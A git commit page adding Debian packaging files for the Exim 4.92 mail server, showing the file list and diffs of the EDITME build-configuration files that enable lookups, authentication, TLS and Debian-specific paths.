summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorDaniel Baumann <daniel.baumann@progress-linux.org>2024-05-06 00:47:27 +0000
committerDaniel Baumann <daniel.baumann@progress-linux.org>2024-05-06 00:47:27 +0000
commitd5eb37dd4a5a433c40c3c1e7ead424add62663f8 (patch)
tree6a18289cb463d11227d1fa4c990548e50a09d917
parentAdding upstream version 4.92. (diff)
downloadexim4-debian.tar.xz
exim4-debian.zip
Adding debian version 4.92-8+deb10u6.debian/4.92-8+deb10u6debian
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to '')
-rw-r--r--debian/EDITME.exim4-heavy.diff158
-rw-r--r--debian/EDITME.exim4-light.diff255
-rw-r--r--debian/EDITME.eximon.diff10
-rw-r--r--debian/EDITME.openssl.exim4-light.diff19
-rw-r--r--debian/NEWS450
-rw-r--r--debian/README.Debian.xml2007
-rw-r--r--debian/TODO2
-rw-r--r--debian/changelog6017
-rw-r--r--debian/changelog.Debian.old1128
-rw-r--r--debian/compat1
-rwxr-xr-xdebian/config-custom/create-custom-config-package71
-rw-r--r--debian/config-custom/debian/compat1
-rw-r--r--debian/config-custom/debian/control18
-rw-r--r--debian/config-custom/debian/copyright15
-rw-r--r--debian/config-custom/debian/install2
-rwxr-xr-xdebian/config-custom/debian/rules94
-rw-r--r--debian/control306
-rw-r--r--debian/copyright229
-rwxr-xr-xdebian/create-custom-package95
-rw-r--r--debian/debconf/conf.d/acl/00_exim4-config_header8
-rw-r--r--debian/debconf/conf.d/acl/20_exim4-config_local_deny_exceptions49
-rw-r--r--debian/debconf/conf.d/acl/30_exim4-config_check_mail11
-rw-r--r--debian/debconf/conf.d/acl/30_exim4-config_check_rcpt375
-rw-r--r--debian/debconf/conf.d/acl/40_exim4-config_check_data95
-rw-r--r--debian/debconf/conf.d/auth/00_exim4-config_header8
-rw-r--r--debian/debconf/conf.d/auth/30_exim4-config_examples254
-rw-r--r--debian/debconf/conf.d/main/01_exim4-config_listmacrosdefs81
-rw-r--r--debian/debconf/conf.d/main/02_exim4-config_options222
-rw-r--r--debian/debconf/conf.d/main/03_exim4-config_tlsoptions85
-rw-r--r--debian/debconf/conf.d/main/90_exim4-config_log_selector10
-rw-r--r--debian/debconf/conf.d/retry/00_exim4-config_header7
-rw-r--r--debian/debconf/conf.d/retry/30_exim4-config19
-rw-r--r--debian/debconf/conf.d/rewrite/00_exim4-config_header7
-rw-r--r--debian/debconf/conf.d/rewrite/31_exim4-config_rewriting16
-rw-r--r--debian/debconf/conf.d/router/00_exim4-config_header11
-rw-r--r--debian/debconf/conf.d/router/100_exim4-config_domain_literal18
-rw-r--r--debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts18
-rw-r--r--debian/debconf/conf.d/router/200_exim4-config_primary92
-rw-r--r--debian/debconf/conf.d/router/300_exim4-config_real_local22
-rw-r--r--debian/debconf/conf.d/router/400_exim4-config_system_aliases44
-rw-r--r--debian/debconf/conf.d/router/500_exim4-config_hubuser31
-rw-r--r--debian/debconf/conf.d/router/600_exim4-config_userforward51
-rw-r--r--debian/debconf/conf.d/router/700_exim4-config_procmail15
-rw-r--r--debian/debconf/conf.d/router/800_exim4-config_maildrop14
-rw-r--r--debian/debconf/conf.d/router/850_exim4-config_lowuid29
-rw-r--r--debian/debconf/conf.d/router/900_exim4-config_local_user15
-rw-r--r--debian/debconf/conf.d/router/mmm_mail4root17
-rw-r--r--debian/debconf/conf.d/transport/00_exim4-config_header13
-rw-r--r--debian/debconf/conf.d/transport/10_exim4-config_transport-macros16
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_address_file11
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_address_pipe10
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_address_reply8
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_mail_spool17
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_maildir_home41
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe12
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe10
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_remote_smtp57
-rw-r--r--debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost48
-rw-r--r--debian/debconf/conf.d/transport/35_exim4-config_address_directory14
-rw-r--r--debian/debconf/update-exim4.conf484
-rwxr-xr-xdebian/debconf/update-exim4.conf.template139
-rw-r--r--debian/e-n-if-up37
-rw-r--r--debian/email-addresses9
-rw-r--r--debian/example.conf.md51
-rwxr-xr-xdebian/exim-adduser52
-rwxr-xr-xdebian/exim-gencert78
-rw-r--r--debian/exim4-base.config15
-rw-r--r--debian/exim4-base.cron.daily105
-rw-r--r--debian/exim4-base.dirs5
-rw-r--r--debian/exim4-base.doc-base.debian9
-rw-r--r--debian/exim4-base.doc-base.filter8
-rw-r--r--debian/exim4-base.doc-base.spec8
-rw-r--r--debian/exim4-base.docs15
-rw-r--r--debian/exim4-base.examples5
-rw-r--r--debian/exim4-base.exim4-paniclog.logrotate10
-rw-r--r--debian/exim4-base.exim4.init289
-rw-r--r--debian/exim4-base.install3
-rw-r--r--debian/exim4-base.links3
-rw-r--r--debian/exim4-base.logrotate9
-rw-r--r--debian/exim4-base.manpages12
-rw-r--r--debian/exim4-base.postinst103
-rw-r--r--debian/exim4-base.postrm65
-rw-r--r--debian/exim4-base.preinst35
-rw-r--r--debian/exim4-base.templates17
-rw-r--r--debian/exim4-config.config820
-rw-r--r--debian/exim4-config.dirs6
-rw-r--r--debian/exim4-config.docs1
-rw-r--r--debian/exim4-config.examples1
-rw-r--r--debian/exim4-config.exim4.ppp.ip-up15
-rw-r--r--debian/exim4-config.install3
-rw-r--r--debian/exim4-config.links15
-rw-r--r--debian/exim4-config.lintian-overrides1
-rw-r--r--debian/exim4-config.manpages4
-rw-r--r--debian/exim4-config.postinst408
-rw-r--r--debian/exim4-config.postrm30
-rw-r--r--debian/exim4-config.preinst39
-rw-r--r--debian/exim4-config.templates196
-rw-r--r--debian/exim4-daemon-custom.dirs3
-rw-r--r--debian/exim4-daemon-custom.docs1
-rw-r--r--debian/exim4-daemon-custom.install1
-rw-r--r--debian/exim4-daemon-custom.links18
-rw-r--r--debian/exim4-daemon-heavy.config17
-rw-r--r--debian/exim4-daemon-heavy.dirs4
-rw-r--r--debian/exim4-daemon-heavy.docs1
-rw-r--r--debian/exim4-daemon-heavy.install1
-rw-r--r--debian/exim4-daemon-heavy.links18
-rw-r--r--debian/exim4-daemon-heavy.lintian-overrides2
-rw-r--r--debian/exim4-daemon-heavy.templates5
-rw-r--r--debian/exim4-daemon-light.config17
-rw-r--r--debian/exim4-daemon-light.dirs3
-rw-r--r--debian/exim4-daemon-light.docs1
-rw-r--r--debian/exim4-daemon-light.install1
-rw-r--r--debian/exim4-daemon-light.links18
-rw-r--r--debian/exim4-daemon-light.lintian-overrides1
-rw-r--r--debian/exim4-daemon-light.postinst60
-rw-r--r--debian/exim4-daemon-light.prerm33
-rw-r--r--debian/exim4-daemon-light.templates5
-rw-r--r--debian/exim4-dev.install4
-rw-r--r--debian/exim4-dev.links2
-rw-r--r--debian/exim4-dev.manpages1
-rwxr-xr-xdebian/exim4-localscan-plugin-config12
-rw-r--r--debian/exim4-localscan-plugin-config.140
-rw-r--r--debian/exim4-localscan-plugin-config.1.xml82
-rw-r--r--debian/exim4.config17
-rw-r--r--debian/exim4.install1
-rw-r--r--debian/exim4.links1
-rw-r--r--debian/exim4.postinst14
-rw-r--r--debian/exim4.templates5
-rwxr-xr-xdebian/exim4_refresh_gnutls-params52
-rw-r--r--debian/eximon4.dirs2
-rw-r--r--debian/eximon4.links1
-rw-r--r--debian/eximon4.manpages1
-rw-r--r--debian/eximonconf-patch7
-rw-r--r--debian/gnutls-params-204831
-rwxr-xr-xdebian/lynx-dump-postprocess49
-rw-r--r--debian/manpages/exicyclog.875
-rw-r--r--debian/manpages/exigrep.870
-rw-r--r--debian/manpages/exim4-config_files.5364
-rw-r--r--debian/manpages/exim_checkaccess.880
-rw-r--r--debian/manpages/exim_convert4r4.873
-rw-r--r--debian/manpages/exim_db.8193
-rw-r--r--debian/manpages/exim_dbmbuild.8105
-rw-r--r--debian/manpages/exim_lock.8137
-rw-r--r--debian/manpages/eximon.850
-rw-r--r--debian/manpages/exinext.873
-rw-r--r--debian/manpages/exiqgrep.888
-rw-r--r--debian/manpages/exiqsumm.874
-rw-r--r--debian/manpages/exiwhat.8102
-rw-r--r--debian/manpages/update-exim4.conf.8346
-rw-r--r--debian/manpages/update-exim4.conf.template.892
-rw-r--r--debian/manpages/update-exim4defaults.8173
-rw-r--r--debian/minimaltest87
-rw-r--r--debian/mtalist1
-rw-r--r--debian/passwd.client7
-rwxr-xr-xdebian/patches/31_eximmanpage.dpatch250
-rw-r--r--debian/patches/32_exim4.dpatch106
-rwxr-xr-xdebian/patches/33_eximon.binary.dpatch18
-rwxr-xr-xdebian/patches/34_eximstatsmanpage.dpatch20
-rwxr-xr-xdebian/patches/35_install.dpatch49
-rwxr-xr-xdebian/patches/60_convert4r4.dpatch41
-rw-r--r--debian/patches/67_unnecessaryCopt.diff69
-rwxr-xr-xdebian/patches/70_remove_exim-users_references.dpatch37
-rw-r--r--debian/patches/75_01-Fix-json-extract-operator-for-unfound-case.patch69
-rw-r--r--debian/patches/75_02-Fix-transport-buffer-size-handling.patch52
-rw-r--r--debian/patches/75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch42
-rw-r--r--debian/patches/75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch420
-rw-r--r--debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch91
-rw-r--r--debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch48
-rw-r--r--debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch69
-rw-r--r--debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch206
-rw-r--r--debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch127
-rw-r--r--debian/patches/75_10-Harden-plaintext-authenticator.patch55
-rw-r--r--debian/patches/75_11-GnuTLS-fix-tls_out_ocsp-under-hosts_request_ocsp.patch54
-rw-r--r--debian/patches/75_12-GnuTLS-fix-the-advertising-of-acceptable-certs-by-th.patch42
-rw-r--r--debian/patches/75_13-Use-dsn_from-for-success-DSN-messages.-Bug-2404.patch52
-rw-r--r--debian/patches/75_14-Fix-smtp-response-timeout.patch325
-rw-r--r--debian/patches/75_15-Fix-detection-of-32b-platform-at-build-time.-Bug-240.patch48
-rw-r--r--debian/patches/77_Avoid-re-expansion-in-sort-CVE-2019-13917-OVE-201907.patch394
-rw-r--r--debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch50
-rw-r--r--debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch36
-rw-r--r--debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch74
-rw-r--r--debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch59
-rw-r--r--debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch83
-rw-r--r--debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch73
-rw-r--r--debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch55
-rw-r--r--debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch188
-rw-r--r--debian/patches/84_01-CVE-2020-28025-Heap-out-of-bounds-read-in-pdkim_fini.patch44
-rw-r--r--debian/patches/84_02-CVE-2020-28018-Use-after-free-in-tls-openssl.c.patch33
-rw-r--r--debian/patches/84_03-CVE-2020-28023-Out-of-bounds-read-in-smtp_setup_msg.patch58
-rw-r--r--debian/patches/84_04-CVE-2020-28010-Heap-out-of-bounds-write-in-main.patch42
-rw-r--r--debian/patches/84_05-CVE-2020-28011-Heap-buffer-overflow-in-queue_run.patch39
-rw-r--r--debian/patches/84_06-CVE-2020-28013-Heap-buffer-overflow-in-parse_fix_phr.patch34
-rw-r--r--debian/patches/84_07-Security-Refuse-negative-and-large-store-allocations.patch74
-rw-r--r--debian/patches/84_08-CVE-2020-28017-Integer-overflow-in-receive_add_recip.patch49
-rw-r--r--debian/patches/84_09-CVE-2020-28022-Heap-out-of-bounds-read-and-write-in-.patch61
-rw-r--r--debian/patches/84_10-CVE-2020-28026-Line-truncation-and-injection-in-spoo.patch102
-rw-r--r--debian/patches/84_11-CVE-2020-28015-28021-New-line-injection-into-spool-h.patch69
-rw-r--r--debian/patches/84_12-CVE-2020-28009-Integer-overflow-in-get_stdinput.patch61
-rw-r--r--debian/patches/84_13-CVE-2020-28024-Heap-buffer-underflow-in-smtp_ungetc.patch41
-rw-r--r--debian/patches/84_14-CVE-2020-28012-Missing-close-on-exec-flag-for-privil.patch31
-rw-r--r--debian/patches/84_15-Security-Safeguard-against-relative-names-for-msglog.patch41
-rw-r--r--debian/patches/84_16-Security-Check-overrun-rcpt_count-integer.patch39
-rw-r--r--debian/patches/84_17-Security-Always-exit-when-LOG_PANIC_DIE-is-set.patch24
-rw-r--r--debian/patches/84_18-Security-Fix-off-by-one-in-smtp-transport-read-respo.patch47
-rw-r--r--debian/patches/84_19-Security-Avoid-decrement-of-dkim_collect_input-if-al.patch59
-rw-r--r--debian/patches/84_20-Security-Leave-a-clean-smtp_out-input-buffer-even-in.patch67
-rw-r--r--debian/patches/84_21-Security-Avoid-modification-of-constant-data-in-dkim.patch89
-rw-r--r--debian/patches/84_22-CVE-2020-28019-Failure-to-reset-function-pointer-aft.patch135
-rw-r--r--debian/patches/84_23-CVE-2020-28007-Link-attack-in-Exim-s-log-directory.patch542
-rw-r--r--debian/patches/84_24-CVE-2020-28008-Assorted-attacks-in-Exim-s-spool-dire.patch205
-rw-r--r--debian/patches/84_26-CVE-2020-28014-CVE-2021-27216-Arbitrary-PID-file-cre.patch303
-rw-r--r--debian/patches/84_27-testsuite-adjustments-for-CVE-2020-28014-CVE-2021-27.patch57
-rw-r--r--debian/patches/84_29-Fix-BDAT-issue-for-body-w-o-trailing-CRLF-again-Bug-.patch26
-rw-r--r--debian/patches/90_localscan_dlopen.dpatch281
-rw-r--r--debian/patches/series60
-rw-r--r--debian/po/POTFILES.in5
-rw-r--r--debian/po/ar.po627
-rw-r--r--debian/po/ast.po645
-rw-r--r--debian/po/be.po636
-rw-r--r--debian/po/bg.po809
-rw-r--r--debian/po/bn.po614
-rw-r--r--debian/po/bs.po812
-rw-r--r--debian/po/ca.po826
-rw-r--r--debian/po/cs.po685
-rw-r--r--debian/po/cy.po765
-rw-r--r--debian/po/da.po650
-rw-r--r--debian/po/de.po690
-rw-r--r--debian/po/dz.po814
-rw-r--r--debian/po/el.po668
-rw-r--r--debian/po/eo.po631
-rw-r--r--debian/po/es.po936
-rw-r--r--debian/po/et.po751
-rw-r--r--debian/po/eu.po657
-rw-r--r--debian/po/fi.po939
-rw-r--r--debian/po/fr.po682
-rw-r--r--debian/po/gl.po788
-rw-r--r--debian/po/he.po617
-rw-r--r--debian/po/hr.po618
-rw-r--r--debian/po/hu.po880
-rw-r--r--debian/po/id.po830
-rw-r--r--debian/po/it.po628
-rw-r--r--debian/po/ja.po627
-rw-r--r--debian/po/kk.po610
-rw-r--r--debian/po/km.po627
-rw-r--r--debian/po/ko.po782
-rw-r--r--debian/po/lt.po661
-rw-r--r--debian/po/mk.po770
-rw-r--r--debian/po/ml.po631
-rw-r--r--debian/po/mr.po759
-rw-r--r--debian/po/nb.po663
-rw-r--r--debian/po/ne.po611
-rw-r--r--debian/po/nl.po687
-rw-r--r--debian/po/nn.po660
-rw-r--r--debian/po/pa.po609
-rw-r--r--debian/po/pl.po636
-rw-r--r--debian/po/pt.po888
-rw-r--r--debian/po/pt_BR.po673
-rw-r--r--debian/po/ro.po861
-rw-r--r--debian/po/ru.po644
-rw-r--r--debian/po/sk.po638
-rw-r--r--debian/po/sl.po832
-rw-r--r--debian/po/sq.po813
-rw-r--r--debian/po/sv.po747
-rw-r--r--debian/po/ta.po628
-rw-r--r--debian/po/templates.pot518
-rw-r--r--debian/po/th.po752
-rw-r--r--debian/po/tl.po772
-rw-r--r--debian/po/tr.po640
-rw-r--r--debian/po/uk.po682
-rw-r--r--debian/po/vi.po628
-rw-r--r--debian/po/wo.po652
-rw-r--r--debian/po/zh_CN.po602
-rw-r--r--debian/po/zh_TW.po637
-rwxr-xr-xdebian/rules297
-rwxr-xr-xdebian/script28
-rw-r--r--debian/source/format1
-rwxr-xr-xdebian/syslog2eximlog60
-rw-r--r--debian/tests/CVE-2010-4344.py143
-rw-r--r--debian/tests/control3
-rw-r--r--debian/tests/daemon13
-rw-r--r--debian/tests/security6
-rw-r--r--debian/update-exim4defaults284
-rw-r--r--debian/upstream/signing-key.asc838
-rw-r--r--debian/watch3
284 files changed, 66370 insertions, 0 deletions
diff --git a/debian/EDITME.exim4-heavy.diff b/debian/EDITME.exim4-heavy.diff
new file mode 100644
index 0000000..b2c7b4e
--- /dev/null
+++ b/debian/EDITME.exim4-heavy.diff
@@ -0,0 +1,158 @@
+--- EDITME.exim4-light 2019-04-16 15:54:51.009790678 +0000
++++ EDITME.exim4-heavy 2019-04-16 15:54:44.177917231 +0000
+@@ -217,7 +217,7 @@
+
+ # This one is very special-purpose, so is not included by default.
+
+-# ROUTER_IPLOOKUP=yes
++ROUTER_IPLOOKUP=yes
+
+
+ #------------------------------------------------------------------------------
+@@ -249,7 +249,7 @@
+
+ SUPPORT_MAILDIR=yes
+ SUPPORT_MAILSTORE=yes
+-# SUPPORT_MBX=yes
++SUPPORT_MBX=yes
+
+
+ #------------------------------------------------------------------------------
+@@ -310,16 +310,16 @@
+ LOOKUP_CDB=yes
+ LOOKUP_DSEARCH=yes
+ # LOOKUP_IBASE=yes
+-# LOOKUP_LDAP=yes
+-# LOOKUP_MYSQL=yes
++LOOKUP_LDAP=yes
++LOOKUP_MYSQL=yes
+ # LOOKUP_MYSQL_PC=mariadb
+ LOOKUP_NIS=yes
+ # LOOKUP_NISPLUS=yes
+ # LOOKUP_ORACLE=yes
+ LOOKUP_PASSWD=yes
+-# LOOKUP_PGSQL=yes
++LOOKUP_PGSQL=yes
+ # LOOKUP_REDIS=yes
+-# LOOKUP_SQLITE=yes
++LOOKUP_SQLITE=yes
+ # LOOKUP_SQLITE_PC=sqlite3
+ # LOOKUP_WHOSON=yes
+
+@@ -340,7 +340,7 @@
+ # with Solaris 7 onwards. Uncomment whichever of these you are using.
+
+ # LDAP_LIB_TYPE=OPENLDAP1
+-# LDAP_LIB_TYPE=OPENLDAP2
++LDAP_LIB_TYPE=OPENLDAP2
+ # LDAP_LIB_TYPE=NETSCAPE
+ # LDAP_LIB_TYPE=SOLARIS
+
+@@ -385,6 +385,9 @@
+ # LOOKUP_LIBS=-L/usr/local/lib -lldap -llber -lmysqlclient -lpq -lgds -lsqlite3
+
+
++LOOKUP_INCLUDE=-I/usr/include/mysql -I`pg_config --includedir`
++LOOKUP_LIBS=-lldap -llber -lmysqlclient -lpq -lsqlite3
++
+ #------------------------------------------------------------------------------
+ # Compiling the Exim monitor: If you want to compile the Exim monitor, a
+ # program that requires an X11 display, then EXIM_MONITOR should be set to the
+@@ -393,7 +396,7 @@
+ # files are defaulted in the OS/Makefile-Default file, but can be overridden in
+ # local OS-specific make files.
+
+-EXIM_MONITOR=eximon.bin
++# EXIM_MONITOR=eximon.bin
+
+
+ #------------------------------------------------------------------------------
+@@ -403,7 +406,7 @@
+ # and the MIME ACL. Please read the documentation to learn more about these
+ # features.
+
+-# WITH_CONTENT_SCAN=yes
++WITH_CONTENT_SCAN=yes
+
+ # If you have content scanning you may wish to only include some of the scanner
+ # interfaces. Uncomment any of these lines to remove that code.
+@@ -645,16 +648,16 @@
+ # configuration to make use of the mechanism(s) selected.
+
+ AUTH_CRAM_MD5=yes
+-# AUTH_CYRUS_SASL=yes
+-# AUTH_DOVECOT=yes
++AUTH_CYRUS_SASL=yes
++AUTH_DOVECOT=yes
+ # AUTH_GSASL=yes
+ # AUTH_GSASL_PC=libgsasl
+ # AUTH_HEIMDAL_GSSAPI=yes
+ # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi
+ # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi heimdal-krb5
+ AUTH_PLAINTEXT=yes
+-# AUTH_SPA=yes
+-# AUTH_TLS=yes
++AUTH_SPA=yes
++AUTH_TLS=yes
+
+ # Heimdal through 1.5 required pkg-config 'heimdal-gssapi'; Heimdal 7.1
+ # requires multiple pkg-config files to work with Exim, so the second example
+@@ -667,7 +670,7 @@
+ # Similarly for GNU SASL, unless pkg-config is used via AUTH_GSASL_PC.
+ # Ditto for AUTH_HEIMDAL_GSSAPI(_PC).
+
+-# AUTH_LIBS=-lsasl2
++AUTH_LIBS=-lsasl2
+ # AUTH_LIBS=-lgsasl
+ # AUTH_LIBS=-lgssapi -lheimntlm -lkrb5 -lhx509 -lcom_err -lhcrypto -lasn1 -lwind -lroken -lcrypt
+
+@@ -945,7 +948,7 @@
+ # (version 5.004 or later) installed, set EXIM_PERL to perl.o. Using embedded
+ # Perl costs quite a lot of resources. Only do this if you really need it.
+
+-# EXIM_PERL=perl.o
++EXIM_PERL=perl.o
+
+
+ #------------------------------------------------------------------------------
+@@ -955,7 +958,7 @@
+ # that the local_scan API is made available by the linker. You may also need
+ # to add -ldl to EXTRALIBS so that dlopen() is available to Exim.
+
+-# EXPAND_DLFUNC=yes
++EXPAND_DLFUNC=yes
+
+
+ #------------------------------------------------------------------------------
+@@ -965,11 +968,11 @@
+ # support, which is intended for use in conjunction with the SMTP AUTH
+ # facilities, is included only when requested by the following setting:
+
+-# SUPPORT_PAM=yes
++SUPPORT_PAM=yes
+
+ # You probably need to add -lpam to EXTRALIBS, and in some releases of
+ # GNU/Linux -ldl is also needed.
+-EXTRALIBS=-ldl
++EXTRALIBS=-lpam -export-dynamic
+
+
+ #------------------------------------------------------------------------------
+@@ -983,7 +986,7 @@
+ # If you may want to use inbound (server-side) proxying, using Proxy Protocol,
+ # uncomment the line below.
+
+-# SUPPORT_PROXY=yes
++SUPPORT_PROXY=yes
+
+
+ #------------------------------------------------------------------------------
+@@ -1338,7 +1341,7 @@
+ # local part) can be increased by changing this value. It should be set to
+ # a multiple of 16.
+
+-# MAX_NAMED_LIST=16
++MAX_NAMED_LIST=32
+
+
+ #------------------------------------------------------------------------------
diff --git a/debian/EDITME.exim4-light.diff b/debian/EDITME.exim4-light.diff
new file mode 100644
index 0000000..dc04331
--- /dev/null
+++ b/debian/EDITME.exim4-light.diff
@@ -0,0 +1,255 @@
+--- src/EDITME 2019-04-16 15:52:53.000000000 +0000
++++ EDITME.exim4-light 2019-04-16 15:54:51.009790678 +0000
+@@ -98,7 +98,7 @@
+ # /usr/local/sbin. The installation script will try to create this directory,
+ # and any superior directories, if they do not exist.
+
+-BIN_DIRECTORY=/usr/exim/bin
++BIN_DIRECTORY=/usr/sbin
+
+
+ #------------------------------------------------------------------------------
+@@ -114,7 +114,7 @@
+ # don't exist. It will also install a default runtime configuration if this
+ # file does not exist.
+
+-CONFIGURE_FILE=/usr/exim/configure
++CONFIGURE_FILE=/etc/exim4/exim4.conf:/var/lib/exim4/config.autogenerated
+
+ # It is possible to specify a colon-separated list of files for CONFIGURE_FILE.
+ # In this case, Exim will use the first of them that exists when it is run.
+@@ -131,7 +131,7 @@
+ # deliveries. (Local deliveries run as various non-root users, typically as the
+ # owner of a local mailbox.) Specifying these values as root is not supported.
+
+-EXIM_USER=
++EXIM_USER=ref:Debian-exim
+
+ # If you specify EXIM_USER as a name, this is looked up at build time, and the
+ # uid number is built into the binary. However, you can specify that this
+@@ -153,6 +153,7 @@
+ # you want to use a group other than the default group for the given user.
+
+ # EXIM_GROUP=
++EXIM_GROUP=ref:Debian-exim
+
+ # Many sites define a user called "exim", with an appropriate default group,
+ # and use
+@@ -173,7 +174,7 @@
+
+ # Almost all installations choose this:
+
+-SPOOL_DIRECTORY=/var/spool/exim
++SPOOL_DIRECTORY=/var/spool/exim4
+
+
+
+@@ -237,7 +238,7 @@
+ # This one is special-purpose, and commonly not required, so it is not
+ # included by default.
+
+-# TRANSPORT_LMTP=yes
++TRANSPORT_LMTP=yes
+
+
+ #------------------------------------------------------------------------------
+@@ -246,8 +247,8 @@
+ # MBX, is included only when requested. If you do not know what this is about,
+ # leave these settings commented out.
+
+-# SUPPORT_MAILDIR=yes
+-# SUPPORT_MAILSTORE=yes
++SUPPORT_MAILDIR=yes
++SUPPORT_MAILSTORE=yes
+ # SUPPORT_MBX=yes
+
+
+@@ -306,16 +307,16 @@
+ LOOKUP_LSEARCH=yes
+ LOOKUP_DNSDB=yes
+
+-# LOOKUP_CDB=yes
+-# LOOKUP_DSEARCH=yes
++LOOKUP_CDB=yes
++LOOKUP_DSEARCH=yes
+ # LOOKUP_IBASE=yes
+ # LOOKUP_LDAP=yes
+ # LOOKUP_MYSQL=yes
+ # LOOKUP_MYSQL_PC=mariadb
+-# LOOKUP_NIS=yes
++LOOKUP_NIS=yes
+ # LOOKUP_NISPLUS=yes
+ # LOOKUP_ORACLE=yes
+-# LOOKUP_PASSWD=yes
++LOOKUP_PASSWD=yes
+ # LOOKUP_PGSQL=yes
+ # LOOKUP_REDIS=yes
+ # LOOKUP_SQLITE=yes
+@@ -367,7 +368,7 @@
+ # Uncomment the following line to add DANE support
+ # Note: Enabling this unconditionally overrides DISABLE_DNSSEC
+ # For DANE under GnuTLS we need an additional library. See TLS_LIBS below.
+-# SUPPORT_DANE=yes
++SUPPORT_DANE=yes
+
+ #------------------------------------------------------------------------------
+ # Additional libraries and include directories may be required for some
+@@ -595,7 +596,7 @@
+ # CONFIGURE_OWNER setting, to specify a configuration file which is listed in
+ # the TRUSTED_CONFIG_LIST file, then root privileges are not dropped by Exim.
+
+-# TRUSTED_CONFIG_LIST=/usr/exim/trusted_configs
++TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs
+
+
+ #------------------------------------------------------------------------------
+@@ -631,6 +632,9 @@
+
+ # WHITELIST_D_MACROS=TLS:SPOOL
+
++# Mailscanner uses -DOUTGOING.
++WHITELIST_D_MACROS=OUTGOING
++
+ #------------------------------------------------------------------------------
+ # Exim has support for the AUTH (authentication) extension of the SMTP
+ # protocol, as defined by RFC 2554. If you don't know what SMTP authentication
+@@ -640,7 +644,7 @@
+ # included in the Exim binary. You will then need to set up the run time
+ # configuration to make use of the mechanism(s) selected.
+
+-# AUTH_CRAM_MD5=yes
++AUTH_CRAM_MD5=yes
+ # AUTH_CYRUS_SASL=yes
+ # AUTH_DOVECOT=yes
+ # AUTH_GSASL=yes
+@@ -648,7 +652,7 @@
+ # AUTH_HEIMDAL_GSSAPI=yes
+ # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi
+ # AUTH_HEIMDAL_GSSAPI_PC=heimdal-gssapi heimdal-krb5
+-# AUTH_PLAINTEXT=yes
++AUTH_PLAINTEXT=yes
+ # AUTH_SPA=yes
+ # AUTH_TLS=yes
+
+@@ -674,7 +678,7 @@
+ # one that is set in the headers_charset option. The default setting is
+ # defined by this setting:
+
+-HEADERS_CHARSET="ISO-8859-1"
++HEADERS_CHARSET="UTF-8"
+
+ # If you are going to make use of $header_xxx expansions in your configuration
+ # file, or if your users are going to use them in filter files, and the normal
+@@ -763,7 +767,7 @@
+ # leave these settings commented out.
+
+ # This setting is required for any TLS support (either OpenSSL or GnuTLS)
+-# SUPPORT_TLS=yes
++SUPPORT_TLS=yes
+
+ # Uncomment one of these settings if you are using OpenSSL; pkg-config vs not
+ # USE_OPENSSL_PC=openssl
+@@ -771,9 +775,9 @@
+
+ # Uncomment the first and either the second or the third of these if you
+ # are using GnuTLS. If you have pkg-config, then the second, else the third.
+-# USE_GNUTLS=yes
++USE_GNUTLS=yes
+ # USE_GNUTLS_PC=gnutls
+-# TLS_LIBS=-lgnutls -ltasn1 -lgcrypt
++TLS_LIBS=-lgnutls
+
+ # If using GnuTLS older than 2.10 and using pkg-config then note that Exim's
+ # build process will require libgcrypt-config to exist in your $PATH. A
+@@ -809,7 +813,7 @@
+ # TLS_LIBS=-L/opt/gnu/lib -lgnutls -ltasn1 -lgcrypt
+
+ # For DANE under GnuTLS we need an additional library.
+-# TLS_LIBS += -lgnutls-dane
++TLS_LIBS += -lgnutls-dane
+
+ # TLS_LIBS is included only on the command for linking Exim itself, not on any
+ # auxiliary programs. If the include files are not in a standard place, you can
+@@ -830,6 +834,7 @@
+ # description of the API to this function, see the Exim specification.
+
+ DLOPEN_LOCAL_SCAN=yes
++HAVE_LOCAL_SCAN=yes
+
+ # If you set DLOPEN_LOCAL_SCAN, then you need to include -rdynamic in the
+ # linker flags. Without it, the loaded .so won't be able to access any
+@@ -868,6 +873,7 @@
+ # to form the final file names. Some installations may want something like this:
+
+ # LOG_FILE_PATH=/var/log/exim_%slog
++LOG_FILE_PATH=/var/log/exim4/%slog
+
+ # which results in files with names /var/log/exim_mainlog, etc. The directory
+ # in which the log files are placed must exist; Exim does not try to create
+@@ -916,7 +922,7 @@
+ # files. Both the name of the command and the suffix that it adds to files
+ # need to be defined here. See also the EXICYCLOG_MAX configuration.
+
+-COMPRESS_COMMAND=/usr/bin/gzip
++COMPRESS_COMMAND=/bin/gzip
+ COMPRESS_SUFFIX=gz
+
+
+@@ -931,7 +937,7 @@
+ # ZCAT_COMMAND=zcat
+ #
+ # Or specify the full pathname:
+-ZCAT_COMMAND=/usr/bin/zcat
++ZCAT_COMMAND=zcat
+
+ #------------------------------------------------------------------------------
